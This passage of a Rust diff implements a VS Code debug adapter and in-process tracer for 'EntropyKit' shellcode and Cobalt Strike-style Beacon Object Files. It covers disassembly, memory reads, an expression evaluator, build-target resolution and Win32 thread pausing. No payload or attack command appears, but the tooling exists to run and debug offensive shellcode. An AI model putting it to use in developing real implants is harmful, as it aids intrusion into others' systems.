+ let sign: i64 = if rest.starts_with('-') { -1 } else { 1 }; + let raw = &rest[1..]; + let raw = raw.strip_prefix("0x").or_else(|| raw.strip_prefix("0X")).unwrap_or(raw); + let mag = i64::from_str_radix(raw, 16).ok()?; + let base = register_by_name(reg.trim(), regs)?; + Some((base as i64 + sign * mag) as usize) +} + +fn direct_register_value(loc: &str, regs: &crate::tracer::RegSnapshot) -> Option { + let s = loc.trim().to_ascii_lowercase(); + if s.contains('+') || s.contains('-') { return None; } + register_by_name(&s, regs) +} + +fn register_by_name(name: &str, r: &crate::tracer::RegSnapshot) -> Option { + match name { + "rax" => Some(r.rax), "rbx" => Some(r.rbx), "rcx" => Some(r.rcx), "rdx" => Some(r.rdx), + "rsi" => Some(r.rsi), "rdi" => Some(r.rdi), "rbp" => Some(r.rbp), "rsp" => Some(r.rsp), + "r8" => Some(r.r8), "r9" => Some(r.r9), "r10" => Some(r.r10), "r11" => Some(r.r11), + "r12" => Some(r.r12), "r13" => Some(r.r13), "r14" => Some(r.r14), "r15" => Some(r.r15), + "rip" => Some(r.rip), "rflags" => Some(r.rflags), + _ => None, + } +} + +/// Render a u64 according to a (very loose) source type. `int`/`u32`/ +/// etc. land as `0xhex (decimal)`. `bool` collapses to true/false. +/// `str` is shown as the pointer (we'd need to read the heap to +/// dereference, which we'll add when strings become real). +fn format_typed_value(v: u64, ty: &str) -> String { + match ty { + "bool" => if v != 0 { "true".into() } else { "false".into() }, + "i32" | "int" => { + let signed = v as i64 as i32; + format!("{signed} (0x{:x})", v & 0xffff_ffff) + } + "u32" => format!("{} (0x{:x})", v as u32, v & 0xffff_ffff), + "i64" => format!("{} (0x{:x})", v as i64, v), + _ => format!("0x{:016x} ({})", v, v as i64), + } +} + +/// The "Stack" scope: sixteen qwords starting at RSP. Each row reads +/// the qword inline and exposes its address as a memoryReference so +/// the user can drill in further. +fn build_stack(session: &Option>) -> Vec { + let r = match session.as_ref().and_then(|s| s.regs()) { + Some(r) => r, + None => return vec![], + }; + let mut out = Vec::with_capacity(16); + for i in 0..16u64 { + let addr = r.rsp + i * 8; + let mut buf = [0u8; 8]; + let read = unsafe { try_read_bytes(addr as usize, &mut buf) }; + let value_str = if read == 8 { + let qword = u64::from_le_bytes(buf); + format!("0x{qword:016x} ({qword})") + } else { + "".to_string() + }; + out.push(json!({ + "name": format!("[rsp+0x{:02x}]", i * 8), + "value": value_str, + "type": "qword", + "variablesReference": 0, + "memoryReference": format!("0x{:x}", addr), + })); + } + out +} + +// ---------------------------------------------------------------- disasm + +fn handle_disassemble( + req: &Value, + session: &Option>, + map: &Option, +) -> Value { + use iced_x86::{Decoder, DecoderOptions, Formatter, Instruction, IntelFormatter}; + + let args = &req["arguments"]; + let mem_ref = args["memoryReference"].as_str().unwrap_or("0"); + let byte_offset = args["offset"].as_i64().unwrap_or(0); + let instr_offset = args["instructionOffset"].as_i64().unwrap_or(0); + let count = args["instructionCount"].as_i64().unwrap_or(32).max(1) as usize; + let resolve_syms = args["resolveSymbols"].as_bool().unwrap_or(false); + let _ = resolve_syms; + + let base_addr = parse_hex_address(mem_ref).unwrap_or(0); + let start_addr = (base_addr as i64).wrapping_add(byte_offset) as u64; + + // We can only safely disassemble bytes we OWN - the shellcode + // region. If the requested range straddles the shellcode boundary, + // we trim it and report invalid instructions for the rest so VS + // Code's Disassembly View still aligns. + let (region_base, region_size) = match session.as_ref() { + Some(s) => (s.base() as u64, s.size() as u64), + None => (0, 0), + }; + + // Decode forward from start_addr; if instruction_offset is + // non-zero we walk backward/forward in instructions using a + // simple heuristic (re-decode from an aligned anchor). + let bytes = if start_addr >= region_base && start_addr < region_base + region_size { + let lo = (start_addr - region_base) as usize; + let mut hi = lo + 16 * count + 16; + if hi > region_size as usize { hi = region_size as usize; } + let mut v = vec![0u8; hi - lo]; + unsafe { + std::ptr::copy_nonoverlapping( + (region_base as usize + lo) as *const u8, + v.as_mut_ptr(), + hi - lo, + ); + } + // Overlay the original byte for any planted breakpoint inside + // this slice - otherwise the user sees `cc int3` instead of + // the instruction they set the breakpoint on. + if let Some(s) = session.as_ref() { + for (off, orig) in s.planted.lock().unwrap().iter() { + if *off >= lo && *off < hi { + v[*off - lo] = *orig; + } + } + } + v + } else { + // Outside our shellcode: try a guarded process-memory read. + let mut v = vec![0u8; 16 * count]; + let n = unsafe { try_read_bytes(start_addr as usize, &mut v) }; + v.truncate(n); + v + }; + + let mut decoder = Decoder::with_ip(64, &bytes, start_addr, DecoderOptions::NONE); + let mut formatter = IntelFormatter::new(); + formatter.options_mut().set_first_operand_char_index(8); + let mut instr = Instruction::default(); + let mut out_text = String::new(); + let mut decoded: Vec = Vec::with_capacity(count); + + // Skip forward `instr_offset` instructions if positive; for + // negative we can't safely walk backward without a fuller cache, + // so we just clamp to zero (Disassembly View still works - it'll + // show the requested address as the topmost line). + let mut skip = instr_offset.max(0); + while skip > 0 && decoder.can_decode() { + decoder.decode_out(&mut instr); + skip -= 1; + } + + while decoder.can_decode() && decoded.len() < count { + decoder.decode_out(&mut instr); + out_text.clear(); + formatter.format(&instr, &mut out_text); + + // Slice the raw bytes of this instruction. + let start_off = (instr.ip() - start_addr) as usize; + let end_off = start_off + instr.len(); + let raw = bytes.get(start_off..end_off) + .map(|b| b.iter() + .map(|x| format!("{:02x}", x)) + .collect::>() + .join(" ")) + .unwrap_or_default(); + + // Source mapping - attach (line, col, source) per row when we + // can. VS Code's Disassembly View then interleaves the source + // text between asm rows. Only the FIRST instruction at each + // source-line offset gets the location attached; rows that + // fall between source statements stay unannotated, which is + // what produces the inline-source layout. + let mut row = json!({ + "address": format!("0x{:x}", instr.ip()), + "instructionBytes": raw, + "instruction": out_text.clone(), + }); + if let Some(map) = map.as_ref() { + if instr.ip() >= region_base && instr.ip() < region_base + region_size { + let off = (instr.ip() - region_base) as usize; + if let Some(entry) = map.at(off) { + let abs = map.source_path.to_string_lossy().to_string(); + let name = map.source_path.file_name() + .map(|s| s.to_string_lossy().to_string()) + .unwrap_or_default(); + row["line"] = json!(entry.line); + row["column"] = json!(entry.col); + row["location"] = json!({ "path": abs, "name": name }); + } + } + } + decoded.push(row); + } + + // Pad with synthetic "??" rows if we got fewer instructions than + // requested; the Disassembly View expects exactly `count` rows. + while decoded.len() < count { + let addr = start_addr.wrapping_add((decoded.len() * 1) as u64); + decoded.push(json!({ + "address": format!("0x{:x}", addr), + "instructionBytes": "", + "instruction": "??", + })); + } + + json!({ "instructions": decoded }) +} + +fn parse_hex_address(s: &str) -> Option { + let t = s.trim(); + let t = t.strip_prefix("0x").or_else(|| t.strip_prefix("0X")).unwrap_or(t); + u64::from_str_radix(t, 16).ok() +} + +// ---------------------------------------------------------------- readMemory + +fn handle_read_memory(req: &Value, session: &Option>) -> (Value, bool) { + let args = &req["arguments"]; + let mem_ref = args["memoryReference"].as_str().unwrap_or(""); + let offset = args["offset"].as_i64().unwrap_or(0); + let count = args["count"].as_i64().unwrap_or(0).max(0) as usize; + let base = match parse_hex_address(mem_ref) { + Some(a) => a, + None => return (json!({}), false), + }; + let addr = (base as i64).wrapping_add(offset) as usize; + + let mut buf = vec![0u8; count]; + let read = unsafe { try_read_bytes(addr, &mut buf) }; + + // Overlay planted-bp originals when the read window intersects + // the shellcode region - matches the disassemble behaviour so the + // Hex Editor doesn't display our `0xCC` traps. + if let Some(s) = session.as_ref() { + let region_base = s.base(); + let region_end = region_base + s.size(); + if region_base != 0 && addr < region_end && addr + read > region_base { + for (off, orig) in s.planted.lock().unwrap().iter() { + let bp_addr = region_base + *off; + if bp_addr >= addr && bp_addr < addr + read { + buf[bp_addr - addr] = *orig; + } + } + } + } + + let data_b64 = base64_encode(&buf[..read]); + let body = json!({ + "address": format!("0x{:x}", addr), + "data": data_b64, + "unreadableBytes": (count - read) as i64, + }); + (body, true) +} + +// ---------------------------------------------------------------- evaluate +// +// A tiny expression evaluator powering three DAP features: +// +// * `evaluate` (Watch / hover / Debug Console) +// * breakpoint condition ("only stop when this is true") +// * logpoint placeholders ("{expr} resolves on hit") +// +// Grammar (precedence low to high): +// +// cmp := add (( "==" | "!=" | "<" | ">" | "<=" | ">=" ) add)? +// add := unary (("+" | "-") unary)* +// unary := "-"? primary +// primary := integer | name | "[" cmp "]" | "(" cmp ")" +// +// `name` resolves first as a local-in-scope (via SourceMap.vars), then +// as a register. `[expr]` reads 8 bytes at `expr` and treats them as a +// little-endian u64. +// +// Returns are tagged: integer results vs. byte slices (future: +// strings). For now everything collapses to i64 - sufficient for +// `i == 3`, `rax > 0`, `[rbp-8] != 0`, `i+1`. + +#[derive(Debug, Clone)] +enum EvalValue { Int(i64), Bytes(Vec) } + +fn evaluate(expr: &str, shared: &SharedDap, line: u32) -> Result { + let regs = match shared.session_clone().and_then(|s| s.regs()) { + Some(r) => r, + None => return Err("no register state - debuggee not stopped".into()), + }; + let map = shared.map_clone(); + let mut p = Parser { src: expr.as_bytes(), pos: 0, regs: ®s, map: map.as_ref(), line }; + let v = p.parse_cmp()?; + p.skip_ws(); + if p.pos < p.src.len() { + return Err(format!("trailing input near `{}`", &expr[p.pos..])); + } + Ok(v) +} + +fn evaluate_truthy(expr: &str, shared: &SharedDap, line: u32) -> bool { + match evaluate(expr, shared, line) { + Ok(EvalValue::Int(n)) => n != 0, + Ok(EvalValue::Bytes(b)) => !b.is_empty() && b.iter().any(|&x| x != 0), + Err(_) => true, // be permissive - bad condition shouldn't silently skip + } +} + +fn format_eval_value(v: &EvalValue) -> String { + match v { + EvalValue::Int(n) => format!("0x{:x} ({})", *n as u64, n), + EvalValue::Bytes(b) => format!("{} bytes", b.len()), + } +} + +/// Render a DAP logpoint template. Curly braces are placeholders: +/// `i={i} rax={rax}` substitutes each `{expr}` with the evaluated +/// value. Doubled braces `{{` / `}}` are literal. +fn render_log_message(template: &str, shared: &SharedDap, line: u32) -> String { + let mut out = String::with_capacity(template.len()); + let bytes = template.as_bytes(); + let mut i = 0; + while i < bytes.len() { + let c = bytes[i] as char; + if c == '{' && bytes.get(i + 1).copied() == Some(b'{') { + out.push('{'); i += 2; continue; + } + if c == '}' && bytes.get(i + 1).copied() == Some(b'}') { + out.push('}'); i += 2; continue; + } + if c == '{' { + // Find matching `}`. + let start = i + 1; + let end = match bytes[start..].iter().position(|&b| b == b'}') { + Some(p) => start + p, + None => { out.push(c); i += 1; continue; } + }; + let expr = &template[start..end]; + let rendered = match evaluate(expr, shared, line) { + Ok(v) => format_eval_value(&v), + Err(e) => format!(""), + }; + out.push_str(&rendered); + i = end + 1; + continue; + } + out.push(c); + i += 1; + } + out +} + +struct Parser<'a> { + src: &'a [u8], + pos: usize, + regs: &'a crate::tracer::RegSnapshot, + map: Option<&'a SourceMap>, + line: u32, +} + +impl<'a> Parser<'a> { + fn skip_ws(&mut self) { + while self.pos < self.src.len() && (self.src[self.pos] as char).is_whitespace() { + self.pos += 1; + } + } + fn peek(&mut self) -> Option { + self.skip_ws(); + self.src.get(self.pos).copied() + } + fn eat(&mut self, s: &[u8]) -> bool { + self.skip_ws(); + if self.src[self.pos..].starts_with(s) { self.pos += s.len(); true } else { false } + } + + fn parse_cmp(&mut self) -> Result { + let l = self.parse_add()?; + let op = if self.eat(b"==") { Some("==") } + else if self.eat(b"!=") { Some("!=") } + else if self.eat(b"<=") { Some("<=") } + else if self.eat(b">=") { Some(">=") } + else if self.eat(b"<") { Some("<") } + else if self.eat(b">") { Some(">") } + else { None }; + if let Some(op) = op { + let r = self.parse_add()?; + let li = as_int(&l)?; let ri = as_int(&r)?; + let b = match op { + "==" => li == ri, "!=" => li != ri, + "<" => li < ri, ">" => li > ri, + "<=" => li <= ri, ">=" => li >= ri, + _ => unreachable!(), + }; + return Ok(EvalValue::Int(if b { 1 } else { 0 })); + } + Ok(l) + } + fn parse_add(&mut self) -> Result { + let mut l = self.parse_unary()?; + loop { + if self.eat(b"+") { + let r = self.parse_unary()?; + l = EvalValue::Int(as_int(&l)?.wrapping_add(as_int(&r)?)); + } else if self.eat(b"-") { + let r = self.parse_unary()?; + l = EvalValue::Int(as_int(&l)?.wrapping_sub(as_int(&r)?)); + } else { break; } + } + Ok(l) + } + fn parse_unary(&mut self) -> Result { + if self.eat(b"-") { + let v = self.parse_primary()?; + return Ok(EvalValue::Int(-as_int(&v)?)); + } + self.parse_primary() + } + fn parse_primary(&mut self) -> Result { + self.skip_ws(); + let b = match self.src.get(self.pos) { + Some(&b) => b, + None => return Err("unexpected end of expression".into()), + }; + if b == b'(' { + self.pos += 1; + let v = self.parse_cmp()?; + if !self.eat(b")") { return Err("expected `)`".into()); } + return Ok(v); + } + if b == b'[' { + self.pos += 1; + let v = self.parse_cmp()?; + if !self.eat(b"]") { return Err("expected `]`".into()); } + let addr = as_int(&v)? as usize; + let mut buf = [0u8; 8]; + let n = unsafe { try_read_bytes(addr, &mut buf) }; + if n != 8 { return Err(format!("read 8 bytes at 0x{addr:x}: only got {n}")); } + return Ok(EvalValue::Int(i64::from_le_bytes(buf))); + } + if b.is_ascii_digit() { + return self.parse_number(); + } + if b.is_ascii_alphabetic() || b == b'_' { + return self.parse_name(); + } + Err(format!("unexpected character `{}`", b as char)) + } + fn parse_number(&mut self) -> Result { + let start = self.pos; + // Hex? + if self.src[self.pos] == b'0' && self.src.get(self.pos + 1).map_or(false, |&c| c == b'x' || c == b'X') { + self.pos += 2; + let s = self.pos; + while self.pos < self.src.len() && (self.src[self.pos] as char).is_ascii_hexdigit() { + self.pos += 1; + } + let txt = std::str::from_utf8(&self.src[s..self.pos]).unwrap(); + return i64::from_str_radix(txt, 16) + .map(EvalValue::Int) + .map_err(|e| format!("bad hex literal: {e}")); + } + while self.pos < self.src.len() && (self.src[self.pos] as char).is_ascii_digit() { + self.pos += 1; + } + let txt = std::str::from_utf8(&self.src[start..self.pos]).unwrap(); + txt.parse::().map(EvalValue::Int).map_err(|e| format!("bad number: {e}")) + } + fn parse_name(&mut self) -> Result { + let start = self.pos; + while self.pos < self.src.len() { + let c = self.src[self.pos] as char; + if !(c.is_ascii_alphanumeric() || c == '_') { break; } + self.pos += 1; + } + let name = std::str::from_utf8(&self.src[start..self.pos]).unwrap(); + // Local first, then register. + if let Some(map) = self.map { + for v in map.vars_in_scope(self.line) { + if v.name == name { + let addr = resolve_var_address(&v.loc, self.regs); + if let Some(direct) = direct_register_value(&v.loc, self.regs) { + return Ok(EvalValue::Int(direct as i64)); + } + if let Some(addr) = addr { + let mut buf = [0u8; 8]; + let n = unsafe { try_read_bytes(addr, &mut buf) }; + if n != 8 { + return Err(format!("read local `{name}` at 0x{addr:x}: got {n} bytes")); + } + return Ok(EvalValue::Int(i64::from_le_bytes(buf))); + } + } + } + } + if let Some(v) = register_by_name(&name.to_ascii_lowercase(), self.regs) { + return Ok(EvalValue::Int(v as i64)); + } + Err(format!("unknown name `{name}`")) + } +} + +fn as_int(v: &EvalValue) -> Result { + match v { + EvalValue::Int(n) => Ok(*n), + _ => Err("expected integer".into()), + } +} + +// ---------------------------------------------------------------- auto-build +// +// `build: true` in launch.json runs `entc compile --debug` +// before loading the .dbg. Resolves three issues: +// +// * Edit-restart loop: no more stop / compile / F5 dance. +// * Stale .dbg: the source-map vars section can drift out of sync +// with the source, which manifests as "Locals shows nothing". +// Always-rebuild ensures the .dbg matches what's actually running. +// * Wrong-compile-flags: if a previous run used `--release` without +// --debug, the .dbg is stale or missing. We force --debug here. + +struct BuildErr { + exit_code: i32, + stderr: String, +} + +fn run_entc_compile(entc: &str, source: &str, build_type: Option<&str>) -> Result { + let mut cmd = std::process::Command::new(entc); + cmd.arg("compile").arg(source).arg("--debug"); + if let Some(t) = build_type { + cmd.arg(format!("--type={t}")); + } + let out = cmd + .output() + .map_err(|e| BuildErr { + exit_code: -1, + stderr: format!("failed to spawn `{entc}`: {e}\n"), + })?; + let stderr = String::from_utf8_lossy(&out.stderr).to_string(); + let stdout = String::from_utf8_lossy(&out.stdout).to_string(); + if !out.status.success() { + return Err(BuildErr { + exit_code: out.status.code().unwrap_or(-1), + stderr: if stderr.is_empty() { stdout } else { stderr + &stdout }, + }); + } + // entc prints "wrote foo.bin (N bytes)" + .dbg + .entc.js to + // stderr. Surface it so the user knows what got built. + Ok(stderr + &stdout) +} + +/// Build kind decided at launch time. Mirrors the compiler's +/// `BuildKind` but stays a thin string-ish enum here so the adapter +/// doesn't depend on the compiler crate's types. +#[derive(Debug, Clone, Copy)] +enum BuildMode { Standard, Bof, Coff } + +/// Resolved (source, artifact, mode) triple for one launch request. +struct ResolvedTarget { + /// `.etpy` source path when known. `None` only when the user + /// pointed `program` at a pre-built artifact and no sibling + /// `.etpy` exists - at that point a rebuild is impossible and + /// `should_build` is forced to false. + source: Option, + /// Final path on disk we'll load as the runnable artifact - + /// `.bin` for shellcode, `.obj`/`.coff` for BOF. + bin_path: String, + /// Inferred build kind. Drives the `--type=` flag during rebuild + /// AND the `ArtifactKind` selection during execution. + build_kind: BuildMode, + /// True when the adapter should compile before loading. Always + /// true in source mode (`.etpy` as `program`) so the artifact + /// matches the source the user can see in the editor; otherwise + /// follows the `build` field from launch.json. + should_build: bool, +} + +/// Single resolution pass. Handles all three `program` shapes +/// (.etpy source / .obj artifact / .bin artifact) and works out the +/// build mode by sniffing the source when possible. +fn resolve_launch_target( + program: &str, + explicit_source: Option<&str>, + force_build: bool, +) -> Result { + // Shape 1: `program` is the source itself. Sniff it for `fn go` + // (BOF) vs `fn main` (shellcode); rebuild EVERY launch so the + // resulting `.obj`/`.bin` is fresh. This is the F5 sweet spot: + // VS Code's `${file}` always resolves to the active editor's + // path, so as long as the user has the .etpy focused, this path + // is the one chosen. + if program.ends_with(".etpy") { + if !Path::new(program).exists() { + return Err(format!("source `{program}` doesn't exist")); + } + let mode = detect_build_mode_from_source(program) + .map_err(|e| format!("read `{program}`: {e}"))?; + let bin_path = artifact_path_for(program, mode); + return Ok(ResolvedTarget { + source: Some(program.to_string()), + bin_path, + build_kind: mode, + should_build: true, // source mode always rebuilds + }); + } + + // Shape 2/3: `program` is a pre-built artifact. Honour the path + // the user gave, but try to surface the matching `.etpy` source + // (via `explicit_source` first, then the obvious sibling) so we + // can support `build: true` from launch.json AND so the source + // map's "this is the file your stack frame is placed in" actually + // resolves to the right .etpy. + // + // If the requested artifact is missing but a sibling .etpy is + // there, switch the resolution path to source mode - the user + // is on F5 with no pre-built artifact and clearly wants us to + // build it. Avoids the historic "F5 reports 'file not found' on + // a fresh checkout" trap. + let mode_from_ext = match () { + _ if program.ends_with(".x64.o") => BuildMode::Bof, + _ if program.ends_with(".x86.o") => BuildMode::Bof, + // `.obj` retained for `--type=coff` (generic Windows COFF) + // and for backward compat with BOFs built before the .x64.o + // convention change. Treated as BOF here since that was the + // historical default. + _ if program.ends_with(".obj") => BuildMode::Bof, + _ if program.ends_with(".coff") => BuildMode::Coff, + _ => BuildMode::Standard, + }; + let source = explicit_source.map(String::from) + .or_else(|| etpy_for(program).filter(|p| Path::new(p).exists())); + + if !Path::new(program).exists() { + // Try to upgrade to source mode if we found a sibling .etpy. + if let Some(ref src) = source { + let mode = detect_build_mode_from_source(src) + .map_err(|e| format!("read `{src}`: {e}"))?; + let bin_path = artifact_path_for(src, mode); + return Ok(ResolvedTarget { + source: Some(src.clone()), + bin_path, + build_kind: mode, + should_build: true, + }); + } + // Last-ditch: try the standard .bin to .x64.o / .obj / .coff + // auto-swap that earlier versions of the adapter did. + // Lets `program: "...bin"` keep working when the sibling + // .x64.o (current convention) or .obj (legacy) exists. + if let Some(stem) = program.strip_suffix(".bin") { + for (ext, alt_mode) in [(".x64.o", BuildMode::Bof), (".obj", BuildMode::Bof), (".coff", BuildMode::Coff)] { + let cand = format!("{stem}{ext}"); + if Path::new(&cand).exists() { + return Ok(ResolvedTarget { + source, + bin_path: cand, + build_kind: alt_mode, + should_build: false, + }); + } + } + } + return Err(format!( + "program `{program}` doesn't exist and no sibling `.etpy` to build from" + )); + } + + Ok(ResolvedTarget { + source, + bin_path: program.to_string(), + build_kind: mode_from_ext, + should_build: force_build, + }) +} + +/// Read the first ~16 KB of a `.etpy` source and decide which build +/// kind it targets. Looks for the unambiguous entry-point spellings: +/// `fn go(` => BOF, `fn main(` => standard. Falls back to standard so +/// brand-new empty files don't error out. +/// +/// Cheap one-shot scan - no parser, no allocations beyond reading +/// the file. `//` line comments aren't stripped but the heuristic is +/// tolerant: a comment line containing literal `fn go(` would +/// misclassify, but that's a corner case the user can always fix by +/// adding `--type=` explicitly. +fn detect_build_mode_from_source(path: &str) -> std::io::Result { + use std::io::Read; + let mut f = fs::File::open(path)?; + let mut buf = Vec::with_capacity(16 * 1024); + // Cap at 64 KB - every real .etpy is much smaller, and capping + // protects against a huge generated source surprising us. + let _ = f.take(64 * 1024).read_to_end(&mut buf); + let src = String::from_utf8_lossy(&buf); + if src.contains("fn go(") || src.contains("fn go (") { + return Ok(BuildMode::Bof); + } + Ok(BuildMode::Standard) +} + +/// Compute the output artifact path `entc compile` will write for +/// a given source + build kind. Mirrors `main.rs::default_output` +/// EXACTLY so the adapter's expectation lines up with what the +/// compiler actually produces - artifacts now land in a `bin/` +/// subdirectory next to the source. +fn artifact_path_for(source: &str, mode: BuildMode) -> String { + let p = Path::new(source); + let stem = p.file_stem().and_then(|s| s.to_str()).unwrap_or("a"); + let bin_dir = match p.parent() { + Some(d) if !d.as_os_str().is_empty() => d.join("bin"), + _ => PathBuf::from("bin"), + }; + let ext = match mode { + BuildMode::Standard => "bin", + // Cobalt Strike's BOF convention is `name.x64.o`. + // Generic COFF stays `.obj`. + BuildMode::Bof => "x64.o", + BuildMode::Coff => "obj", + }; + bin_dir.join(format!("{stem}.{ext}")).to_string_lossy().to_string() +} + +/// Derive the .etpy source path next to a built artifact. Returns +/// `None` when the path doesn't end in a recognised artifact +/// extension. +/// +/// The compiler now defaults outputs to `/bin/`. So +/// an artifact like `example/bin/foo.x64.o` corresponds to source +/// `example/foo.etpy`. We strip the artifact's filename suffix +/// AND, when the parent directory is named `bin`, hop one level +/// up. Artifacts the operator placed somewhere else still resolve +/// against their own directory - the fallback covers +/// `-o some/path/foo.bin` builds. +fn etpy_for(bin: &str) -> Option { + let p = Path::new(bin); + let stem = { + let name = p.file_name()?.to_string_lossy().to_string(); + let mut s = name.as_str(); + let mut found = false; + for ext in [".x64.o", ".x86.o", ".bin", ".obj", ".coff"] { + if let Some(rest) = s.strip_suffix(ext) { + s = rest; + found = true; + break; + } + } + if !found { return None; } + s.to_string() + }; + let candidate_with_hop = p.parent().and_then(|dir| { + // If artifact is placed in `.../bin/foo.x64.o`, the source is + // `.../foo.etpy`. The hop only fires when the immediate + // parent dir is literally named `bin` - keeps the resolver + // predictable. + if dir.file_name().map(|n| n == "bin").unwrap_or(false) { + dir.parent().map(|gp| gp.join(format!("{stem}.etpy"))) + } else { + None + } + }); + if let Some(hop) = candidate_with_hop { + if hop.exists() { + return Some(hop.to_string_lossy().to_string()); + } + } + // Fallback: same directory as the artifact (handles -o paths + // that bypassed the bin/ convention). + let same_dir = p.with_file_name(format!("{stem}.etpy")); + Some(same_dir.to_string_lossy().to_string()) +} + +/// Walk up the directory tree from `source_path` looking for a +/// `target/release/entc.exe` (preferred) or `target/debug/entc.exe`. +/// Stops at the filesystem root. The walk lets users put the +/// debugger config in any workspace whose Rust target dir is at or +/// above the source file - the common case for monorepos and the +/// EntropyKit workspace layout. +fn find_entc(source_path: &str) -> Option { + let mut cursor = Path::new(source_path).parent()?.to_path_buf(); + let exe = if cfg!(windows) { "entc.exe" } else { "entc" }; + loop { + for profile in ["release", "debug"] { + let cand = cursor.join("target").join(profile).join(exe); + if cand.exists() { + return Some(cand.to_string_lossy().to_string()); + } + } + match cursor.parent() { + Some(p) if p != cursor => cursor = p.to_path_buf(), + _ => return None, + } + } +} + +// ---------------------------------------------------------------- pause + +/// Arm a pause on the tracer thread. We suspend it, set TF on its +/// context, mark `pause_pending` on the session so the VEH reports +/// reason=Pause when it traps, then resume. The CPU executes exactly +/// one more instruction before the SINGLE_STEP trap fires. +/// +/// Returns false if any Win32 call fails (in which case the tracer +/// is left running, and we surface a console hint rather than +/// silently swallowing the user's click). +#[cfg(windows)] +fn arm_pause(session: &Arc, join: &thread::JoinHandle<()>) -> bool { + use std::os::windows::io::AsRawHandle; + use std::sync::atomic::Ordering; + use windows_sys::Win32::System::Diagnostics::Debug::{ + GetThreadContext, SetThreadContext, CONTEXT, CONTEXT_CONTROL_AMD64, + }; + use windows_sys::Win32::System::Threading::{ResumeThread, SuspendThread}; + + let h = join.as_raw_handle() as windows_sys::Win32::Foundation::HANDLE; + if h.is_null() { return false; } + + // SuspendThread returns the previous suspend count; -1 (DWORD + // max) means failure. + let prev = unsafe { SuspendThread(h) }; + if prev == u32::MAX { return false; } + + let mut ctx: CONTEXT = unsafe { std::mem::zeroed() }; + ctx.ContextFlags = CONTEXT_CONTROL_AMD64; + let got = unsafe { GetThreadContext(h, &mut ctx) }; + if got == 0 { + unsafe { ResumeThread(h); } + return false; + } + ctx.EFlags |= 0x100; + let set = unsafe { SetThreadContext(h, &ctx) }; + if set == 0 { + unsafe { ResumeThread(h); } + return false; + } + + session.pause_pending.store(true, Ordering::SeqCst); + unsafe { ResumeThread(h); } + true +} + +#[cfg(not(windows))] +fn arm_pause(_session: &Arc, _join: &thread::JoinHandle<()>) -> bool { + false +} + +// ---------------------------------------------------------------- safe memory probe + +/// Read up to `out.len()` bytes from `addr` in the current process, +/// guarded by VirtualQuery so we don't fault on an unmapped page. +/// Returns the number of bytes successfully read (0 on bad address). +/// +/// Used by readMemory, the Stack variables scope, and disasm-outside- +/// shellcode paths. Same-process reads are fine because the tracer +/// shares its address space with the DAP server (they're threads in +/// the same process). +unsafe fn try_read_bytes(addr: usize, out: &mut [u8]) -> usize { + use windows_sys::Win32::System::Memory::{ + VirtualQuery, MEMORY_BASIC_INFORMATION, + MEM_COMMIT, PAGE_NOACCESS, PAGE_GUARD, + }; + + if addr == 0 || out.is_empty() { return 0; } + + let mut copied = 0usize; + let mut cursor = addr; + while copied < out.len() { + let mut info = std::mem::zeroed::(); + let qsize = std::mem::size_of::(); + let got = VirtualQuery(cursor as *const _, &mut info, qsize); + if got == 0 { break; } + if info.State != MEM_COMMIT { break; } + if info.Protect & (PAGE_NOACCESS | PAGE_GUARD) != 0 { break; } + + let region_end = info.BaseAddress as usize + info.RegionSize; + let chunk_end = region_end.min(addr + out.len()); + let chunk_len = chunk_end - cursor; + if chunk_len == 0 { break; } + + std::ptr::copy_nonoverlapping( + cursor as *const u8, + out.as_mut_ptr().add(copied), + chunk_len, + ); + copied += chunk_len; + cursor = chunk_end; + } + copied +} + +// ---------------------------------------------------------------- base64 + +/// Tiny base64 encoder for readMemory responses. Inlined to avoid a +/// dep on `base64` - the DAP wire format uses standard alphabet with +/// `=` padding, which is two dozen lines. +fn base64_encode(bytes: &[u8]) -> String { + const ALPHA: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + let mut out = String::with_capacity((bytes.len() + 2) / 3 * 4); + let mut i = 0; + while i + 3 <= bytes.len() { + let n = ((bytes[i] as u32) << 16) | ((bytes[i + 1] as u32) << 8) | (bytes[i + 2] as u32); + out.push(ALPHA[((n >> 18) & 0x3f) as usize] as char); + out.push(ALPHA[((n >> 12) & 0x3f) as usize] as char); + out.push(ALPHA[((n >> 6) & 0x3f) as usize] as char); + out.push(ALPHA[((n ) & 0x3f) as usize] as char); + i += 3; + } + let rem = bytes.len() - i; + if rem == 1 { + let n = (bytes[i] as u32) << 16; + out.push(ALPHA[((n >> 18) & 0x3f) as usize] as char); + out.push(ALPHA[((n >> 12) & 0x3f) as usize] as char); + out.push('='); + out.push('='); + } else if rem == 2 { + let n = ((bytes[i] as u32) << 16) | ((bytes[i + 1] as u32) << 8); + out.push(ALPHA[((n >> 18) & 0x3f) as usize] as char); + out.push(ALPHA[((n >> 12) & 0x3f) as usize] as char); + out.push(ALPHA[((n >> 6) & 0x3f) as usize] as char); + out.push('='); + } + out +} diff --git a/tools/entc-debug/src/main.rs b/tools/entc-debug/src/main.rs new file mode 100644 index 0000000..1430b13 --- /dev/null +++ b/tools/entc-debug/src/main.rs @@ -0,0 +1,108 @@ +// SPDX-License-Identifier: Apache-2.0 +//! entc-debug - Debug Adapter Protocol server + in-process tracer for +//! EntropyKit shellcode. +//! +//! Wires VS Code's "Run to Start Debugging" (F5) to a custom launcher: +//! we VirtualAlloc a `.bin`, plant software breakpoints (`int 3`) at +//! every source-line offset in the matching `.dbg` map, then call into +//! the shellcode. A Vectored Exception Handler catches each break, +//! parks the tracer thread, and signals the DAP server thread which +//! sends VS Code a `stopped` event with the source location - that's +//! the bit that makes the execution arrow move through the `.etpy`. +//! +//! Architecture: +//! +//! stdin -> DAP server thread -> mpsc command channel -> tracer thread +//! stdout <- DAP server thread <- mpsc event channel <- VEH handler +//! +//! Both threads are placed in the same process. The shellcode runs in the +//! tracer thread; its in-process VEH catches `int 3`, pushes a Stopped +//! event to the server, then blocks on a Win32 event handle until the +//! server replies with a Continue / StepOver command. +//! +//! Run modes (selected by argv[1]): +//! - no args / `dap` : DAP server on stdio (what VS Code uses) +//! - `trace ` : run a bin once and print each stop to +//! stdout as NDJSON; useful for headless +//! smoke tests outside VS Code. + +use std::fs; +use std::io::{self, Write}; +use std::sync::mpsc; +use std::thread; + +mod dap; +mod tracer; +mod sourcemap; + +fn main() { + let args: Vec = std::env::args().collect(); + let mode = args.get(1).map(String::as_str).unwrap_or("dap"); + match mode { + "dap" => run_dap(), + "trace" => { + let bin = args.get(2).cloned().unwrap_or_else(|| { + eprintln!("usage: entc-debug trace "); + std::process::exit(2); + }); + 